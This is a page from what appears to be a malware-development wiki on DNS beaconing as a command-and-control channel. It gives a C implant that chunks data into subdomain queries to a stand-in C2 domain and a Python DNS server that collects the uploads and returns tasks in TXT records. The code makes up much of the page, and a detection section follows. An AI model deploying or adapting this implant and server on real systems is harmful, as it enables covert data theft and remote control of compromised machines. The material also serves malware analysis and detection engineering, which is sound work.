Skip to content
λmaldev wiki/
pagesDNS Beaconing
T1071.004WindowsLinuxmacOSC / C++PythonDNS

DNS Beaconing

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

DNS is attractive as a C2 transport because it is almost never blocked outright — every host needs name resolution to function. The technique encodes data into the subdomain portions of a query directed at an attacker-controlled authoritative nameserver. The query traverses the normal resolver chain and arrives at the C2 server as a standard DNS packet, indistinguishable from any other lookup at the network perimeter.

Bandwidth is the primary constraint. A DNS label is 63 octets maximum; a full query name is 253 octets. Base32-encoding reduces the usable payload per query further. Real DNS C2 implementations compensate with query pipelining and data chunking, accepting low throughput in exchange for resilience to network filtering.

Note.

DNS-over-HTTPS (DoH) resolvers like Cloudflare 1.1.1.1 encrypt the query, hiding the label content from network sensors entirely. Implants that hard-code a DoH endpoint trade one detection surface (DNS logs) for another (anomalous HTTPS to a fixed resolver IP).

The call chain

  1. 1
    encode data as subdomain labels
    Split the payload into 63-byte chunks; base32- or hex-encode each chunk as a subdomain label.
  2. 2
    DnsQuery / getaddrinfo
    Issue a legitimate-looking query to attacker-controlled NS; the registrar routes it to the C2 listener.
  3. 3
    parse response record
    Extract data from A, AAAA, TXT or CNAME records in the answer section.
  4. 4
    jitter sleep
    Wait a randomised interval before the next beacon to avoid fixed-period network signatures.

Reference implementation

Implant side (C)

dns_beacon.cC
#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")

#define C2_DOMAIN  "c2.example.com"
#define CHUNK_SIZE 40   // bytes per label after base32

// base32 alphabet (RFC 4648, no padding)
static const char B32[] = "abcdefghijklmnopqrstuvwxyz234567";

static void b32_encode(const uint8_t *in, size_t len, char *out) {
  // standard 5-bit grouping omitted for brevity
  (void)in; (void)len; (void)out;
}

void dns_send(const uint8_t *data, size_t len) {
  char qname[256];
  char label[64];
  uint8_t chunk[CHUNK_SIZE];

  for (size_t off = 0; off < len; off += CHUNK_SIZE) {
      size_t n = min(CHUNK_SIZE, len - off);
      memcpy(chunk, data + off, n);

      b32_encode(chunk, n, label);
      // <seq>.<encoded-chunk>.<c2-domain>
      snprintf(qname, sizeof qname, "%04zx.%s.%s",
               off / CHUNK_SIZE, label, C2_DOMAIN);

      PDNS_RECORD rec = NULL;
      DnsQuery_A(qname, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &rec, NULL);
      if (rec) DnsRecordListFree(rec, DnsFreeRecordList);

      // jitter: 30s +/- 10s
      Sleep((20 + rand() % 20) * 1000);
  }
}

// receive: parse TXT answer for downstream data
char *dns_recv(const char *id) {
  char qname[256];
  snprintf(qname, sizeof qname, "r.%s.%s", id, C2_DOMAIN);

  PDNS_RECORD rec = NULL;
  DnsQuery_A(qname, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &rec, NULL);
  if (!rec) return NULL;

  // first TXT string is the payload
  char *resp = strdup(rec->Data.TXT.pStringArray[0]);
  DnsRecordListFree(rec, DnsFreeRecordList);
  return resp;
}

Server side (Python)

dns_server.pyPython
from dnslib import DNSRecord, RR, TXT, A, QTYPE
from dnslib.server import DNSServer, BaseResolver
import base64, threading

PENDING = {}   # id -> list[chunk]
OUTBOX  = {}   # id -> response bytes

class C2Resolver(BaseResolver):
  def resolve(self, request, handler):
      reply = request.reply()
      qname = str(request.q.qname).rstrip('.')
      parts = qname.split('.')

      if parts[0] == 'r':
          # downstream: client polling for a task
          beacon_id = parts[1]
          data = OUTBOX.pop(beacon_id, b'NOP')
          reply.add_answer(
              RR(qname, QTYPE.TXT, rdata=TXT(base64.b64encode(data)))
          )
      else:
          # upstream: receiving an encoded chunk
          seq, chunk_b32, *domain = parts
          # base32 decode and accumulate
          beacon_id = domain[0] if domain else 'default'
          PENDING.setdefault(beacon_id, {})[int(seq, 16)] = (
              base64.b32decode(chunk_b32.upper() + '======')
          )
          reply.add_answer(RR(qname, QTYPE.A, rdata=A('127.0.0.1')))
      return reply

DNSServer(C2Resolver(), port=53, address='0.0.0.0').start_thread()
print('[*] DNS C2 listening on :53')
input('Press Enter to stop\n')

Encoding choices

Encoding Bytes / query Case-safe Notes
Base32 ~27 Yes RFC 4648; DNS is case-insensitive
Base64url ~34 Yes +/ replaced with -_
Hex ~18 Yes Lowest density, highest label legibility

TXT records for the downstream path allow arbitrary binary up to 255 bytes per string and 65535 bytes total, making them the natural choice for task delivery.

Detection

DNS LOG
High query rate to a single second-level domain; query labels that are long random strings.
NETWORK
TXT record responses with high entropy or base64 padding characters from a newly registered domain.
BEHAVIOURAL
A process issuing DNS queries with no corresponding TCP/UDP connection to the destination IP.
THREAT INTEL
Newly registered domains (< 30 days), free TLD registrations, or domains that resolve to fast-flux infrastructure.

Frequency analysis is the most practical starting point: legitimate resolvers produce query bursts tied to user activity; a DNS beacon produces a flat periodic signal. A domain with no web presence and a delegated NS record pointing to a cloud VM is strong prior context for treating any query to it as suspicious.

T1071.001HTTP BeaconingHigher bandwidth, harder to filter without breaking browsing.
T1132Data EncodingBase32 / base64 over DNS; applies equally to HTTP channels.
T1008Fallback ChannelsDNS often used as the fallback when primary HTTP channel is blocked.
Was this page useful?edit this page ↗